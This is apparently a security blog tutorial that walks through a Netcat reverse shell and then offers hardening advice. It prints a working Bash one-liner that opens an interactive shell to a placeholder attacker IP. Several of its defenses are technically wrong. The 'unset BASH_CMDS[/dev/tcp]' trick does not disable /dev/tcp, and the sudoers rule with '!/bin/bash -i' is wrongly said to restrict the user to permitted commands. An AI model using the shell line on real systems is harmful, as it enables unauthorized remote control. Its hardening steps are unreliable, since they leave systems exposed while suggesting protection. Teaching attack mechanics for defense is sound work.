Reverse Shell with Netcat.

Learn how ethical hackers use Netcat to create reverse shells for testing security vulnerabilities. Understand how these attacks work, the risks they pose, and the defensive measures needed to mitigate them. Stay ahead in cybersecurity by mastering ethical hacking techniques.

Reverse Shell with Netcat.
Photo by yannick Coffi see more @ yannickcoffi -/- PRINTS -/- yC



What Is Netcat?

Netcat is a versatile networking utility commonly used for debugging, testing, and troubleshooting network connections. It can read from and write to network connections using TCP or UDP, making it a valuable tool for system administrators, developers, and security professionals.

Netcat can also be used to establish reverse shells, a technique where a target machine initiates a connection back to another system, allowing remote command execution. Reverse shells are widely used in penetration testing and red-team exercises to simulate real-world attack scenarios, and they are also leveraged by malicious actors.

In this guide, we will focus on OpenBSD Netcat and demonstrate how a reverse shell works from a technical and educational perspective.

Understanding Reverse Shells: Legitimate vs. Malicious Use

A reverse shell works by having the remote (target) machine initiate a connection back to another system. Once the connection is established, the receiving system gains a shell, allowing command execution on the target.

Legitimate Use

In authorized environments, reverse shells are used for:

  • Penetration testing and red-team exercises to simulate real attacks
  • Security training to understand attacker techniques
  • Incident response to reproduce and analyze compromises

These activities are performed with explicit permission, typically in lab or customer-approved systems.

Malicious Use

Without authorization, the same mechanism is used to:

  • Gain unauthorized remote control
  • Bypass inbound firewall restrictions
  • Establish covert access and persistence

Key Distinction

The technique itself is neutral. What defines legality and ethics is authorization and intent. Understanding how reverse shells work is essential for defending systems, but using them outside approved contexts is unlawful.


How It Works (High Level)

  • A system designated as the receiver waits for an incoming connection on an open port.
  • The remote machine initiates an outbound connection to that receiver.
  • Once the connection is established, a command interface is made available, allowing the receiver to issue commands on the remote system.

This outbound-initiated model is why reverse shells are effective at bypassing inbound firewall restrictions and why understanding them is critical for detection and defense.



OpenBSD Netcat (Ubuntu Default)

What Is netcat-openbsd?

OpenBSD Netcat is a modern, security-focused implementation of Netcat maintained by the OpenBSD project. It is the default Netcat version on Ubuntu, Debian, and macOS.

Key Characteristics

  • Maintained by the OpenBSD security team
  • Installed by default on most modern Unix-like systems
  • Safer and more restrictive than traditional GNU Netcat
  • Does not support the -e option, which was removed for security reasons
  • Includes built-in support for proxying (SOCKS/HTTP)
  • Designed for stability and predictable behavior
  • Less likely to trigger basic signature-based detections that look specifically for legacy Netcat usage
  • Does not require Netcat on the remote system when interacting with standard Unix tools (e.g., shells already present on Linux/macOS)

OpenBSD Netcat is preferred on modern systems because it reduces unsafe functionality while retaining flexibility for legitimate networking, debugging, and security testing tasks.

Let Us Start

Open a Port on Local Machine (Attacker)

The attacker's machine must have an open port to listen for incoming connections. Ensure the firewall allows traffic on the chosen port (e.g., 4567):

$ sudo ufw allow 4567/tcp  # (For Ubuntu/Debian-based systems)

Start a Netcat Listener on Local (Attacker)

Run Netcat in listening mode on port 4567:

$ nc -l 4567

Or, alternatively:

$ nc -ln 4567


Let's verify Netcat is listening.
Open another instance of Terminal and run:

$ netstat -an | grep 4567

Expected output should show:

tcp        0      0 0.0.0.0:4567            0.0.0.0:*               LISTEN


Execute the Reverse Shell on Remote Machine (Target)

On the target machine, execute the following command to send a shell back to the attacker:

$ bash -c "bash -i >& /dev/tcp/<attacker-ip-address>/4567 0>&1"


Explanation:

  • bash -c → Executes the command inside the quotes.
    • The -c flag tells Bash →
    "Run the following command as a string inside a new Bash shell instance."
    • Everything inside the quotes ("...") is executed as a separate Bash command.
  • bash -i → Runs an interactive bash shell. An interactive shell is a shell session where you can enter commands and receive immediate feedback, just like when you open a terminal and type commands manually.
  • >& /dev/tcp/<attacker-ip-address>/4567 → Redirects input/output over TCP to the attacker's IP and port.
    > → Redirects stdout (standard output) somewhere.
    &> → Redirects both stdout (1) and stderr (2) to a single destination.
  • 0>&1 → Redirects stdin (0) to stdout (1), ensuring all input/output is sent over the TCP connection.
    0 → Represents Standard Input (stdin) (where commands are entered).
    1 → Represents Standard Output (stdout) (where command results are printed).
    >& → Redirects one stream to another.

Gain Control

Once the target executes the command, a shell will appear in the attacker's Netcat session.
You can then run commands on the target as if you were directly connected to the remote system.

To verify Netcat is listening, open another instance of Terminal and run:

$ netstat -an | grep 4567

Expected output should show:

tcp        0      0 0.0.0.0:4567            0.0.0.0:*               LISTEN     
tcp        0      0 192.168.1.7:4567       192.168.1.12:34070     ESTABLISHED

Why the Bash Reverse Shell Method is Dangerous & How to Protect Yourself

⚠️ Why This Method Is Dangerous

This technique represents a serious security risk because it enables an attacker to gain unauthorized remote access to a system.

Here's why:

1. It Creates a Stealthy Backdoor

  • A reverse shell bypasses firewalls and NAT because the connection is initiated from the target (victim) machine.
  • Many security controls focus on blocking inbound traffic, while outbound connections are often trusted and therefore overlooked.

2. It Grants the Attacker Full Control

  • Once connected, the attacker can execute commands on the target system as if physically present.
  • This allows them to install malware, escalate privileges, exfiltrate data, and move laterally across the network.

3. It Is Difficult to Detect

  • The attack does not require installing additional tools on the victim system; it relies on Bash, which is commonly available on Linux and macOS.
  • Network monitoring solutions may fail to detect the activity, especially when common ports such as 80 or 443 are used.


How to Protect Yourself

1. Block Unnecessary Outbound Ports

  • Use firewall rules (e.g., ufw, iptables, or corporate security solutions) to restrict outbound traffic.
  • Only allow connections to trusted IPs and services.
  • If arbitrary outbound traffic is not needed, block all ports except those explicitly whitelisted.

2. Monitor Network Traffic

  • Use network monitoring tools like Wireshark, Zeek, or Suricata to detect suspicious outbound connections, such as unusual IP addresses or traffic to unknown ports.
  • Regularly check for unexpected connections to external IPs using commands such as:
$ netstat -an | grep ESTABLISHED

$ ss -tunap


3. Disable /dev/tcp by Unsetting BASH_CMDS

Some security‑focused Linux distributions restrict or disable Bash’s /dev/tcp and /dev/udp features to reduce the risk of abuse. These features can be leveraged to create reverse shells without external tools.

You can limit this capability by unsetting the Bash commands that enable network connections.

To modify the global Bash configuration:

a. Edit the Bash profile

$ sudo nano /etc/bash.bashrc

b. Add this line at the bottom:

unset BASH_CMDS[/dev/tcp]
unset BASH_CMDS[/dev/udp]

c. Make it persistent
Since changes inside a terminal session are temporary, these lines must be added to /etc/profile or /etc/bash.bashrc to apply system-wide and persist across reboots.

echo 'unset BASH_CMDS[/dev/tcp]' | sudo tee -a /etc/bash.bashrc /etc/profile
echo 'unset BASH_CMDS[/dev/udp]' | sudo tee -a /etc/bash.bashrc /etc/profile


Breaking it down:

echo 'unset BASH_CMDS[/dev/tcp]'
• Prints the text unset BASH_CMDS[/dev/tcp] to standard output.
This removes Bash's ability to create TCP connections using /dev/tcp/ syntax.

| sudo tee -a /etc/bash.bashrc /etc/profile

• The | (pipe) takes the output of echo and passes it to tee.

sudo tee -a /etc/bash.bashrc /etc/profile:
- tee the primary function of tee is to capture and save the output of a command while simultaneously displaying it on the terminal.
- -a (append mode) ensures the text is added without overwriting existing content.
- and writes to /etc/bash.bashrc (for interactive shells) and /etc/profile (for login shells).

d. Save and apply the changes:

$ source /etc/bash.bashrc

However, since you also modified /etc/profile, you should log out and log back in to ensure the changes take full effect.

This is because /etc/profile is only read when a user logs in, whereas /etc/bash.bashrc is applied for interactive shells.


Why both? /etc/bash.bashrc & /etc/profile

/etc/bash.bashrc affects interactive shells (when users open a terminal).
/etc/profile affects login shells (when users log in).
• Adding the rule to both ensures complete coverage.

If you want to fully enforce this restriction for all users, add it to both:
• If not required, restrict Bash capabilities with AppArmor* or SELinux.


4. Disable /dev/tcp/ Using AppArmor
AppArmor can restrict Bash's access to network sockets, preventing reverse shells that use /dev/tcp/.

a. Create a new AppArmor profile for Bash:

$ sudo nano /etc/apparmor.d/disable-bash-tcp

b. Add the following rules to block /dev/tcp/ and /dev/udp/:

profile bash-tcp-block {
    /bin/bash {
        deny network inet stream,
        deny network inet6 stream,
        deny network inet dgram,
        deny network inet6 dgram,
    }
}

c. Load the new AppArmor profile:

$ sudo apparmor_parser -r /etc/apparmor.d/disable-bash-tcp


d. Restrict Bash Execution with sudo

•  If multiple people have sudo access, preventing sudo bash -i reduces the risk of someone escalating privileges.

1. Open the sudoers file safely:
*Never edit /etc/sudoers manually!
Always use Visudo to prevent syntax errors.

$ sudo visudo

2. Add the correct line at the bottom and save:

xxx ALL=(ALL) ALL, !/bin/bash -i, !/usr/bin/bash -i


With this configuration, user xxx can execute only explicitly permitted commands using sudo and cannot spawn an interactive shell.

Even if an attacker gains access to the account xxx, they will be unable to start an interactive root shell using commands such as:

$ sudo bash -i


This significantly increases resistance to privilege escalation, as attackers are prevented from obtaining a persistent root shell and are limited to narrowly scoped command execution.

This tutorial demonstrates how a reverse shell operates using OpenBSD Netcat. Understanding how these attacks work is essential for defensive security, enabling system administrators and security professionals to implement effective countermeasures, including:

  • Monitoring outbound network activity
  • Restricting unnecessary outbound connections
  • Applying least‑privilege sudo configurations
  • Deploying intrusion detection and monitoring systems

⚠️ Disclaimer

This guide is intended strictly for educational and ethical security purposes.
Unauthorized access to computer systems is illegal and punishable by law. Always obtain explicit permission before testing or experimenting on any system.

Thank you for reading.
Keep checking SNUBmonkey for more in‑depth security tutorials, hardening techniques, and defensive insights. Stay informed, stay vigilant.

Keep Us Caffeinated  ⦿ ⦿
Icon Join our 33K+ readers Spotify Logo